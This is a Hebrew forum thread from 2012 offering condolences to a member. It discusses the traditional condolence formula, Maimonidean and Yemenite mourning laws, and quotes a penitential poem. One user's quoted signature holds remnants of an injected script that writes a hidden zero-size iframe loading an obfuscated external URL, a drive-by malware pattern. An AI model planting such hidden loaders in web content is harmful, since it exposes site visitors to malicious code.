בית פורומים עצור כאן חושבים

אשכול תנחומים לחברנו דרום חוקר

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-27/3/2012 22:07 לינק ישיר 

צבי

גם אתה ותיק, כנראה לא ראית עד היום אשכולות תנחומים. וכבר היו כאלו.

באשכולות כאלו, כמו להבדיל באשכולות של שמחה, תמיד יש התפצלויות לנושאים של עיון וכיו"ב והרי על זה תפארתו של הפורום. והרי שאלתו של יהי אור יכולה לפתוח דיון (אם כי היה מקום לכתוב בנימה שלא נשמעת ביקורתית, אבל לגבי מי זה לא נכון?).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/3/2012 00:05 לינק ישיר 

מיימוני כתב:
צבי

גם אתה ותיק, כנראה לא ראית עד היום אשכולות תנחומים. וכבר היו כאלו.

באשכולות כאלו, כמו להבדיל באשכולות של שמחה, תמיד יש התפצלויות לנושאים של עיון וכיו"ב והרי על זה תפארתו של הפורום. והרי שאלתו של יהי אור יכולה לפתוח דיון (אם כי היה מקום לכתוב בנימה שלא נשמעת ביקורתית, אבל לגבי מי זה לא נכון?).

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


היטבת לדייק, על זה היה 'הביקורת' שלי, למה הדברים נאמרו בצורת ביקורת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-28/3/2012 12:22 לינק ישיר 

באופן עקרוני חושב הנני שדברי מיימוני נכונים. ושאלתי היוותה עליה שנקבל את התשובה הזו. אם כי עדיין יש מקום לעיין בזה עוד. כי לטעמי יש ערך ונחמה בהיצמדות לנוסח המסורתי, [אע"פ שצריך לעיין/לחפש אם ועד כמה היא אכן מסורתית, בכל אופן כך נוהגים בקהלות שאני מכיר] כי זה עצמו הוא חלק גדול בנחמה ההשתייכות הקהילתית והמסורתית, לדעתי לכאו' יש לקיים מזה ומזה אל תנח ידיך, ולכן תמה הייתי על השמטתו כמעט לגמרי של הניסוח הזה. 

אם הנימה היתה יותר מדי מתריסה, צדקתם. באופן כללי הנני נוקט לשון קצרה, וזו, דרכה להישמע יותר ביקורתית. 

כמו כן איך הייתי יכול להניח לאשכול בעצכ'ח בלי הוספת מידע ודיון כלשהו?, הרי המטרה כאן הוא להחכים. [בוודאי שגם לנחם זה דבר גדול]



דדווח על תוכן פוגעני

מחובר
נשלח ב-28/3/2012 18:55 לינק ישיר 

יהי אור

איקון ירוק על האבחנה הפסיכולוגית, והרי הפסיכולוגיה היא אחד מיסודות ההלכה.

אכן ברגעים קשים אדם נצמד למה שהורגל בו.

ולכן אני משתדל להקפיד לשלב את השנים, גם לכתוב את הנוסח המקובל וגם להוסיף עליו ממה שנראה שייך ומתאים.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/3/2012 02:08 לינק ישיר 

כמדומני שמסורת הקהילה של דרו"ח הוא מן השמים תנוחמו. והעיקר באיזה לשון שרק יהי' שיהי' נחמה אמתית.



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/3/2012 07:51 לינק ישיר 

מיימוני

<
אין ניסוח מסורתי אחד ויחיד. (אצל אחינו טהורי היחש אומרים: "משמים תנוחמו">


פורום: עצור כאן חושבים - ניחום אבלים - להלבן, ומקור הנוסח בחדרי



תוקן על ידי נישטאיך ב- 29/03/2012 07:55:10




דדווח על תוכן פוגעני

מנותק
נשלח ב-1/4/2012 00:06 לינק ישיר 

תודה לכל המנחמים
תודה למימוני על דבריו
תודה לשאר חברי הפורום על דבריהם
תודה ליושל שבא לביתנו לנחם

יהי רצון שה' יחזק את אימי, שתתגבר על המחסור, ותחיה לאורך ימים בבריאות ושמחה.

***

ב"ה זכינו שתלמידי חכמים באו לנחם, נכתוב את ההלכות שלמדנו מפיהם.

המנחמים אינם יושבים על גבי כיסאות, אלא על גבי קרקע כאבלים [ואין המנחמין רשאין לישב אלא על גבי קרקע, שנאמר "ויישבו איתו לארץ". הלכות אבל יג,ג], דבר זה כבר אינו נוהג היום, אבל ידידינו יושל הקפיד על כך, והוא ישב על גבי כרית בשעת הניחום.
 
על אביו ואמו חייב אדם לקרוע ולחלוץ כתף, כלומר שיוציא את היד והכתף משרוול החולצה על מנת שיהיו גלוים, ויניח ידו על ראשו. [הלכות אבל ח,ג על אביו ועל אימו--חולץ כתפו ומוציא זרועו מן החלוק, עד שיתגלה כתפו וזרועו; והולך כך לפני המיטה.  ואחר שיקבור אביו או אימו, אינו חייב לחלוץ.], בהלכה נתבאר שעל חכם שמת חולצין כתף ימין ועל אב בית דין כתף שמאל ועל נשיא שתי ידים, אבל לא נתבאר איזו כתף חולצים על אביו ואמו, מנהג יהודי תימן לחלוץ על אביו ואמו כתף ימין.

אסור לאבל בשבעת ימי אבילות לגלות את ראשו, בלשון חז"ל אסור לו לפרוע את ראשו, לפיכך האבל חייב בעטיפת הראש, והסודר שמכסה בו ראשו, עוטה ממקצתו מעט על פיו, שנאמר "ועל שפם, יעטה" ותירגם אונקלוס הגר כאבילא יתעטף. הלכות אבל ה,יט. מנהג יהודי תימן שיתעטפו האבלים בטלית בשבעת ימי אבילות, וכך לא יגלו את ראשם, ויכסו את פיהם בקצה הטלית. בד"א כשאין הרבה מנחמים, אבל בשעת התפילות, אינו מכובד שינחמו אותו כשהוא עוטה על שפם, ואז יורידו את כיסוי הטלית מפיהם בכדי לקבל את הניחום.

נוסח הניחום "תנוחמו מן השמים" והאבל משיב "אמן", נוסח זה אומרים בכניסה וביציאה, כשיש הרבה אנשים בשעת היציאה, יעמדו המנחמים בזה אחר זה, כל מנחם אומר בתורו תנוחמו מן השמים, ויצעד לכיוון היציאה, והאבל עונה אמן לכל מנחם ומנחם. [האבילים עומדין לשמאל המנחמין, וכל המנחמין באים אצל האבילים אחד אחד, ואומרין להם תנוחמו מן השמיים. הלכות אבל יג,ב]

אין נוהגים אבילות בשבת אלא בדברים שבצנעה כגון תשמיש המיטה ורחיצה, יום שביעי של האבלות מקצתו ככולו [הלכות אבל ו,יב], קברו את המת ביום ראשון, נמצא שיום שבת הוא היום השביעי ולא נוהגת בו אלא אבילות שבצנעה. מכיוון שבכל התורה כולה היום מתחיל מהלילה, ומכיוון שמקצת היום ככולו, נמצא שמותר לרחוץ בליל שבת אחרי שחשיכה וכבר עבר מקצת היום. וכך כתב הרמב"ן להתיר לכתחילה. הרדב"ז פסק כמו הרמב"ן בשעת הדחק. במקרה כמו שלפנינו שיש לפניו כבוד שבת, בודאי שיכבד את השבת וירחץ משחשיכה וכבר עבר מקצת היום, בכדי שלא תעבור עליו השבת כשהוא מטונף. אמרנו שירחץ בחמין בשבת, והוא שהם חמי חמה, כלומר דוד שמש, וכפי שנתבאר היתר רחיצה בדוד שמש בשבת במקום אחר.

רגל מבטל ממנו גזירת שבעה או גזירת שלושים. שהה באבילות כשעה קודם הרגל, ונכנס הרגל, בטלה ממנו גזירת שבעה. שהה באבילותו שבעה ימים ונכנס הרגל בטלה ממנו גזירת שלושים. היו לפניו כמה רגלים, כגון ראש השנה ויום כיפור, אין אומרים שראש השנה יבטל ממנו גזירת שבעה, ויום כיפור יבטל ממנו גזירת שלושים, אלא לאחר שראש השנה ביטל ממנו גזירת שבעה, ישהה באבילותו 23 יום, ולא תתבטל גזירת שלושים מחמת הרגל שבא אחריו, יום כיפור או סוכות. הלכות אבל י,ג  הרגלים, וכן ראש השנה ויום הכיפורים--אין דבר מדברי אבילות נוהג בהן.  וכל הקובר את מתו, אפילו שעה אחת קודם הרגל, או קודם ראש השנה ויום הכיפורים--בטלה ממנו גזירת שבעה. י,ד  נמצא מונה לאחר ראש השנה ויום הכיפורים, שלושה ועשרים יום



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/4/2012 10:02 לינק ישיר 

.

תנוחמו מן השמים, כי שום דבר שאנשים יגידו לא יספיק.

לימדונו רעי איוב, כי המגיעים לנחם את היושב, לא יפתחו בדברים אלא ישתקו - ויניחו לאבל לפתוח, ולפי רצונו וכוחו - לשם תתכוון השיחה.


כי אין באמת נחמה, למרות כל מה שאומרים - אבל רק מי שהגיע לשם בעצמו - יודע זאת.

==============


דיני אבלות, הריהם כהררים של מנהג התלויים בחוט השערה של מנהג. כמנהג בני הדרום נהגת, ויפה שאוחז אתה במנהג אבותיך, גם כשהיד כואבת על הראש אם ההספדים נמשכים.

אבל יש גם מנהגים אחרים, במערב ובצפון, וכאשר יגיע תורך לנחם, אנא זכרם. גם היושבים על כסא נמוך ואורחיהם על כסאות רגיים - אוחזים במנהג אבותיהם.

שימרו על אמכם, כי כדברי התנא בסנהדרין - אין איש מת אלא לאשתו.


והואיל והחי יתן אל לבו, אסיים בדברים משל הראב"ע:


לְךָ אֵלִי תְּשׁוּקָתִיבְּךָ חֶשְׁקִי וְאַהֲבָתִי
לְךָ לִבִּי וְכִלְיוֹתַילְךָ רוּחִי וְנִשְׁמָתִי
לְךָ יָדַי לְךָ רַגְלַיוּמִמָּךְ הִיא תְּכוּנָתִי
לְךָ עַצְמִי לְךָ דָמִיוְעוֹרִי עִם גְּוִיָּתִי
לְךָ עֵינַי וְרַעְיוֹנַיוְצוּרָתִי וְתַבְנִיתִי
לְךָ רוּחִי לְךָ כֹחִיוּמִבְטַחִי וְתִקְוָתִי
לְךָ לִבִּי וְדַם חֶלְבִּיכְּשֶׂה אַקְרִיב וְעוֹלָתִי
לְךָ יָחִיד בְּלִי שֵׁנִילְךָ תוֹדֶה יְחִידָתִי
לְךָ מַלְכוּת לְךָ גֵאוּתלְךָ תֵאוֹת תְּהִלָּתִי
לְךָ עֶזְרָה בְּעֵת צָרָההֱיֵה עֶזְרִי בְּצָרָתִי
לְךָ אוֹחִיל בְּעֵת אָחִילכְּיוֹלֵדָה בְּאַנְחָתִי
לְךָ שִׂבְרִי רְפָא שִׁבְרִיוְאֶת צִירִי וּמַכָּתִי
לְךָ אֶהֱמֶה וְלֹא אֶדְמֶהעֲדֵי תָּאִיר אֲפֵלָתִי
לְךָ נֶצַח בְּךָ אֶבְטַחוְאַתָּה הוּא אֱיָלוּתִי
לְךָ אֶזְעַק בְּךָ אֶדְבַּקעֲדֵי שׁוּבִי לְאַדְמָתִי
לְךָ אֲנִי בְּעוֹדִי חַיוְאַף כִּי אַחֲרֵי מוֹתִי
לְךָ אוֹדֶה וְאֶתְוַדֶּהעֲלֵי חֶטְאִי וְרִשְׁעָתִי
לְךָ יִשְׁעִי סְלַח רִשְׁעִיוְאֶת פִּשְׁעִי וְאַשְׁמָתִי
לְךָ אִכַּף וְאֶפְרֹשׁ כַּףשְׁמַע נָא אֶת תְּחִנָתִי
לְךָ אֶבְכֶּה בְּלֵב נִדְכֶּהבָּרֹב שִׂיחִי וְתוּגָתִי
לְךָ חֶסֶד לְךָ חֶמְלָהחֲמֹל עַל כָּל תְּלָאוֹתִי
וְגָדוֹל מִנְּשׂוֹא חֶטְאִיוְגָדְלָה יַד מְשׁוּבָתִי
וְלָכֵן גָּדְלוּ צִירַיוְקָצַרְתִי זְרִיעָתִי
וְאוֹי עָלַי וְהָהּ לִי אִםתְּדִינֵנִי כְּרִשְׁעָתִי
וְיִצְרִי צוֹרְרִי תָמִידכְּמוֹ שָׂטָן לְעֻמָתִי
יְעָצַנִי וּפִתָּנִיבְּמוֹעֵצוֹת לְרָעָתִי
וְעָלָיו לֹא עֲלֵי בִּלְתּוֹחֲמָסִי עִם תְלוּנָתִי
וְעֵת יַעֲלוּ עֲלֵי לִבִּיעֲוֹנוֹתַי בְּמִטָּתִי
מְאֹד אֶפְחַד וְגַם אֶרְעַדמְאֹד יִגְדַּל מְהוּמָתִי
וְאֶרְגַּז עֵת אֱהִי זוֹכֵרלְפָנֶיךָ מְעֻוָתִי
וְאֶעֱמֹד נֶגְדְּךָ עֵרוֹםוּמַה תִהְיֶה תְשׁוּבָתִי
בְּיוֹם בִּי יַעֲנֶה כַּחְשִׁיוְאֹכַל מִפְּרִי דָתִי
וְיָבוֹאוּ יְמֵי שִׁלוּםוְתִקְרַב עֵת פְּקֻדָתִי
וְשִׁמְעָךְ עֵת שְׁמַעְתִּיהוּמְאֹד זַעְתִּי וְיָרֵאתִי
וּמִי יַעֲמֹד לְפָנֶיךָוּמִי יִהְיֶה תְמוּרָתִי
וְאֵיךְ חֶשְׁבּוֹן לְךָ אֶתֵןוְאֵיךְ אֶצְדַּק בְּטַעֲנָתִי
וְאָשַׁמְתִּי וְאָרַבְתִיוּבָגַדְתִּי וּבָזִיתִי
וְגָזַלְתִּי וְגָנַבְתִּיהֲרֵעוֹתִי וְהִרְשַׁעְתִּי
וְגַם זַדְתִּי וְחָמַסְתִּיוְחָטָאתִי וְהֶחְטֵאתִי
וְטָעִיתִי וְיָעַצְתִּיוְכִזַּבְתִּי וְכָפַרְתִּי
וְלוֹצַצְתִּי וְגַם לַצְתִּיוּמָרַדְתִּי וּמָרִיתִי
וְנִאַצְתִּי וְנִאַפְתִּיוְסָרַרְתִּי וְסָרַחְתִּי
וַעָוִיתִי וְהֶעֱוֵיתִיוּפָשַׁעְתִּי וּפָגַמְתִּי
וְצָרַרְתִּי וְצִעַרְתִּיוְקִלַּלְתִּי וְקִלְקַלְתִּי
וְרָשַׁעְתִּי וְשִׁחַתְתִּיוְתִעַבְתִּי וְתָעִיתִי
וְסַרְתִּי מִדְּרָכֶיךָוְכִסַּתְנִי כְלִמָּתִי
וְהִגְדַּלְתִּי עֲשׂוֹת רֶשַׁעוְהֶחֱזַקְתִּי בְּרִשְׁעָתִי
וְכִחַשְׁתִי וּמָעַלְתִּיוְעָשַׁקְתִּי וְרַצּוֹתִי
וְחָטָאתִי בְּרֵאשִׁיתִיוְרָשַׁעְתִּי בְּאַחֲרִיתִי
וְאָשַׁמְתִּי בְּיַלְדוּתִיוּבָגַדְתִּי בְּזִקְנָתִי
וּבָחַלְתִּי בְּתוֹרָתְךָוּבָחַרְתִּי בְּתוֹרָתִי
וְעָזַבְתִּי רְצוֹנְךָוְהָלַכְתִי בְּתַאֲוָתִי
וְהִשְׁלַמְתִּי רְצוֹן יִצְרִיוְלֹא בַּנְתִּי לְאַחֲרִיתִי
וְהִרְבֵּיתִי לְהוֹסִיף חֵטְאעֲלֵי רִשְׁעִי וְחוֹבָתִי
וְלָכֵן כִּסְּתָה פָנַיכְּלִמָּתִי וְגַם בּוֹשְׁתִּי
וְאֵין לִי בִּלְתְּךָ מָנוֹסוּמִמָךְ הִיא סְלִיחָתִי
וּמוֹחֵל בִּלְתְּךָ אַיִןוּמֵאִתָּךְ מְחִילָתִי
וְאִם תָּבִיא בְּמִשְׁפָּט עַבְ-דְּךָ מַה הִיא גְבוּרָתִי
וּמָה אֲנִי וּמַה חַיָּיוּמַה כֹּחִי וְעָצְמָתִי
כְּקַשׁ נִדָף מְאֹד נֶהְדָּףוְאֵיךְ תִזְכֹּר מְשׁוּגָתִי
וְנֶאֱלַמְתִּי וְנִכְלַמְתִּיוְכִסַּתְנִי כְלִמָּתִי
רְצוֹנָךְ אֶשְׁאֲלָה תָּמִידלְמַלְּאוֹת אֶת שְׁאֵלָתִי
וְהֶרֶב כַּבְּסֵנִימֵעֲוֹנוֹתַי וְחַטָּאתִי
וְהַבֵּט רֹב תְלָאוֹתַיוְדַלוּתִי בְּגָלוּתִי
וְאַל נָא תַּעְלֵם אָזְנָךְלְרַוְחָתִי לְשַׁוְעָתִי
עֲרֹב עַבְדָּךְ לְטוֹבָה גַּם אֱמֹר נָא דַי לְצָרָתִי
וְהַרְאֵנִי תְשׁוּעָתָךְבְּטֶרֶם יוֹם תְּמוּתָתִי
וְיוֹם נָפְלִי בְּפַח מוֹקְשִׁיסְמֹךְ נָא אֶת נְפִילָתִי
וְלַעֲנָה שָׂבְעָה נַפְשִׁיעֲדֵי קַצְתִּי בְחַיָּתִי
עֲשֵׂה עִמִּי לְטוֹבָה אוֹתוְקוּמָה נָּא לְעֶזְרָתִי
הֲכִי אַתָּה מְנַת חֶלְקִיוְרִנָּתִי וְטוֹבָתִי
וְגוֹרָלִי וּמַהֲלָלִיוְכָל גִּילִי וְשִׂמְחָתִי
שְׂשׂוֹן לִבִּי וְאוֹר עֵינַיוּמָעֻזִי וְחֶמְדָתִי
וּמַרְגּוֹעִי וְשַׁעֲשׁוּעִימְנוּחָתִי וְשַׁלְוָתִי
הֲבִינֵנִי עֲבוֹדָתְךָוְלָךְ תִהְיֶה עֲבוֹדָתִי
הֲשִׁיבֵנִי וְאָשׁוּבָהוְתִרְצֶה אֶת תְשׁוּבָתִי
וְהוֹרֵנִי דְרָכֶיךָ וְיַשֵּׁר אֶת נְתִיבָתִי
וְתִשְׁמַע אֶת תְּפִלָּתִיוְתַעֲנֶה אֶת עֲתִירָתִי
בְּכָל לִבִּי דְּרַשְׁתִּיךָ עֲנֵנִי יָהּ דְּרִישָׁתִי
אֲנַסֵּךָ אֶת דְּמָעַי לָךְמְחֵה חֶטְאִי בְדִמְעָתִי
וְנַפְשִׁי אָמְרָה חֶלְקִייְיָ הִיא וְנַחֲלָתִי
אֱסֹף נָא אֶת עֲוֹנוֹתַיבְּחַסְדָּךְ יוֹם אֲסִיפָתִי
וְיוֹם לֶכְתִּי לְפָנֶיךָרְצֵה נָא אֶת הֲלִיכָתִי
וְעִם עוֹשֵׂי רְצוֹנֶךְתְּנָה שְׂכַר פְּעֻלָּתִי
וְתִשְׁלַח מַלְאֲכֵי הַחֵןוְיֵצְאוּ נָא לְעֻמָּתִי
וְשָׁלוֹם בּוֹאֲךָ יֹאמְרוּבְּקוֹל אֶחָד בְּבִיאָתִי
יְבִיאוּנִי לְגַן עֶדְנָךְוְשָׁם תִּהְיֶה יְשִׁיבָתִי
וְאֶתְעַדֵּן בְּאוֹרֶךָוְשִׂים כָּבוֹד מְנוּחָתִי
וְאוֹר גָנוּז לְפָנֶיךָיְהִי סִתְרִי וְסֻכָּתִי
וְתַחַת צֵל כְּנָפֶיךָתְּנָה נָּא אֶת מְחִצָתִי


תוקן על ידי מואדיב ב- 01/04/2012 10:17:04




דדווח על תוכן פוגעני

מנותק
נשלח ב-1/4/2012 11:00 לינק ישיר 

יהי אור

<אם כי עדיין יש מקום לעיין בזה עוד. כי לטעמי יש ערך ונחמה בהיצמדות לנוסח המסורתי, [אע"פ שצריך לעיין/לחפש אם ועד כמה היא אכן מסורתית, בכל אופן כך נוהגים בקהלות שאני מכיר]>

בשעת העיון יש גם לעיין אם הערך הוא באמירה, או שהוא בהופעה, והאמירה אינה אלא אמצעי להביא את האנשים
לבית האבל, ועדיף  שלא ינחמו בנוסח קבוע שלא עושה דבר לאבלים. 

<כך נוהגים בקהלות שאני מכיר]>

כי כך יותר קל למנחמים. מפני שזה חוסך מהם לחשוב מה ינחם את האבל.

תוקן על ידי נישטאיך ב- 01/04/2012 11:07:37




דדווח על תוכן פוגעני

מנותק
נשלח ב-1/4/2012 11:01 לינק ישיר 

מנסיוני הקט, לעתים ההצמדות לנוסחאות, מקילה על שני הצדדים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/4/2012 11:11 לינק ישיר 

בעלבעמיו כתב:
מנסיוני הקט, לעתים ההצמדות לנוסחאות, מקילה על שני הצדדים.


מנסיוני הפחות קט - צודק בע"ב.

מה עוד שמי שהיה שם, יודע שנחמה - אין.



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > אשכול תנחומים לחברנו דרום חוקר
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 סך הכל 2 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.